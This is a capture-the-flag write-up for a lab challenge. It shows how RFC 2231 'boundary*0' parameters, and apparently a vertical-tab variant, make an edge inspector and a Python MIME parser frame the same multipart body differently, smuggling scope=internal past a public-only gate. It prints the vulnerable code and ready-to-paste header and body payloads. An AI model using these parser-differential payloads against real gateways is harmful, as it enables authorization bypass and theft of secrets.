Dojo challenge #55 Split Decision solution

November 4, 2026

Article hero image

For this challenge, our three randomly selected winners are 3atwa, dustinabhi, and sh4rk0xx! 🎁 Your swag packs are on their way!

I also wanted to give a shoutout to Kubet for discovering an unintended approach!

We encourage players to experiment beyond the intended solutions. It's always cool to see unexpected approaches!


Write-up by 3atwa

For this month's solution, we're featuring 3atwa's write-up, which explores a multipart boundary parsing discrepancy between the edge inspector and the Bundle API, exploiting differences in how they handle RFC 2231 MIME parameters to bypass access controls and retrieve sensitive information.

---

Two parsers, one request. The edge inspector picks the multipart boundary with a hand-rolled regex that whitelists RFC 2231 continuation names (boundary*, boundary*0, ...) during validation and then never selects them, falling through to the first literal boundary=. The Bundle API hands the same Content-Type to Python's email parser, which implements RFC 2231, reassembles boundary*0=, and prefers it over a plain boundary= later in the header. Put the continuation first and the two layers frame the same body with different boundaries, so the edge sees scope=public while the API sees scope=internal.

Exploitation

  • Read the challenge source and mapped the two gates against each other. The edge only forwards a request whose edge_view["scope"] is "public", while the API acts on whatever scope it parses for itself. Nothing ties those two parses together, so the question became whether they can be made to disagree.
  • Tried boundary=A; boundary=B first. Both layers take A, so plain duplication is a dead end.Found the gap inside inspection_boundary().
  • The validation loop explicitly permits continuation names:
1if normalized_name.startswith("boundary") and normalized_name != "boundary":
2 if not re.fullmatch(r"boundary\*(?:[0-9]+\*?)?", normalized_name):
3 return None
4
5parameters.append((name, value))

boundary*0 satisfies that pattern, so it is accepted as a legal parameter. The selection loop below then refuses to look at it:

1for name, value in parameters:
2 if name.lower() != "boundary":
3 continue
4 if not re.fullmatch(r"[A-Za-z0-9._-]{1,70}", value):
5 return None
6 return value.encode("ascii")

Validation accepts the continuation. Selection cannot see it. Downstream, it decides the framing.

  • Probed the orderings:boundary=A,boundary=A; boundary=B, and boundary=A; boundary*0=Ball resulted in both parsers selecting A, with no divergence. However, boundary*0=B; boundary=Acaused a divergence, with Edge selecting A and Email selecting B. Order is load-bearing: the continuation must come before the literal.
  • Confirmed why the divergence survives inspection. Both halves use the same parser and the same policy, so the split is not a library mismatch. It is that the edge inspects a header it rewrote for itself, while the API re-parses the original:
1# edge: inspection_fields() re-serializes a clean header holding only its chosen boundary
2b'Content-Type: multipart/form-data; boundary="' + quoted_boundary + b'"\r\n\r\n' + payload
3message = BytesParser(policy=policy.default).parsebytes(mime_request)
4
5# Bundle API: re-parses the original, attacker-controlled header
6message = BytesParser(policy=policy.default).parsebytes(mime_request)

The edge already knows how to canonicalize a Content-Type. It just does not forward the canonical form, so its verdict is about bytes nobody downstream will ever see.

  • Built one body valid under both boundaries. The name="x" part is the pivot: its value on the edge side is the structure on the API side. Edge framing becomes API preamble and epilogue, and the smuggled parts hide inside an edge field value.
  • Sent it. The edge resolved edge_boundary = b'edgebnd' and read {'scope': 'public', 'x': '--apibnd...internal...--apibnd--'}, passing the public-scope gate. The API resolved apibnd and read {'scope': 'internal'}, so runtime.env was appended with redaction: disabled and the flag returned in SUPPORT_EXPORT_TOKEN. The success popup fired.

Steps to reproduce

  1. Go to the inputs tab.
  2. Paste into Content-Type:
1multipart/form-data; boundary*0=apibnd; boundary=edgebnd

Paste into body:

1--edgebnd
2Content-Disposition: form-data; name="scope"
3
4public
5--edgebnd
6Content-Disposition: form-data; name="x"
7
8--apibnd
9Content-Disposition: form-data; name="scope"
10
11internal
12--apibnd--
13--edgebnd--
  • Click Submit. Popup fires, and the flag appears in the runtime.env preview as SUPPORT_EXPORT_TOKEN with redaction: disabled.

Flag: FLAG{Spl1t_Fl4gG3d_C00l_RFC_r1gH7_?}

Impact

Authorization bypass. The edge inspector is the only control in front of the export service, and its scope=public guarantee no longer binds what the API does: redaction flips to disabled and runtime.env leaks service identity, region, build and the long-lived SUPPORT_EXPORT_TOKEN to an unauthenticated caller.

In a real application this puts a bearer secret in attacker hands, and every gateway rule can be stepped around the same way, because the component making the decision and the component enforcing it read different bytes.

Bonus: An Unintended Approach by Kubet

Beyond the intended RFC 2231 solution, Kubet discovered another interesting parsing discrepancy involving the ASCII vertical tab character (0x0B).

Instead of using extended MIME parameters, this approach exploits the different ways the gateway's regular expression and Python's MIME parser handle whitespace.

The gateway uses:

1rf"\s*({token})\s*=\s*({token})\s*"

Because Python's \s matches the vertical tab character, the gateway consumes it as whitespace, while the backend's MIME parser preserves it as part of the boundary value.

For example:

1content_type = "multipart/form-data; boundary=\x0bdemo"

The two components interpret the header differently:

  • Edge gateway: selects demo as the boundary.
  • Bundle API: selects \x0bdemo as the boundary.

Kubet demonstrated this alternative with the following payload:

1body = (
2 b'--demo\r\n'
3 b'Content-Disposition: form-data; name="scope"\r\n'
4 b'\r\n'
5 b'public\r\n'
6 b'--demo--\r\n'
7 b'--\x0bdemo\r\n'
8 b'Content-Disposition: form-data; name="scope"\r\n'
9 b'\r\n'
10 b'internal\r\n'
11 b'--\x0bdemo--\r\n'
12)

Here, \x0b represents the actual ASCII vertical tab byte (0x0B), not the literal characters.

This causes the gateway to interpret scope=public, while the backend interprets scope=internal.

It's worth noting that the vertical tab is not valid in standard HTTP header values, so real-world HTTP servers and reverse proxies may reject this payload before it reaches the application.

Happy hacking! \o/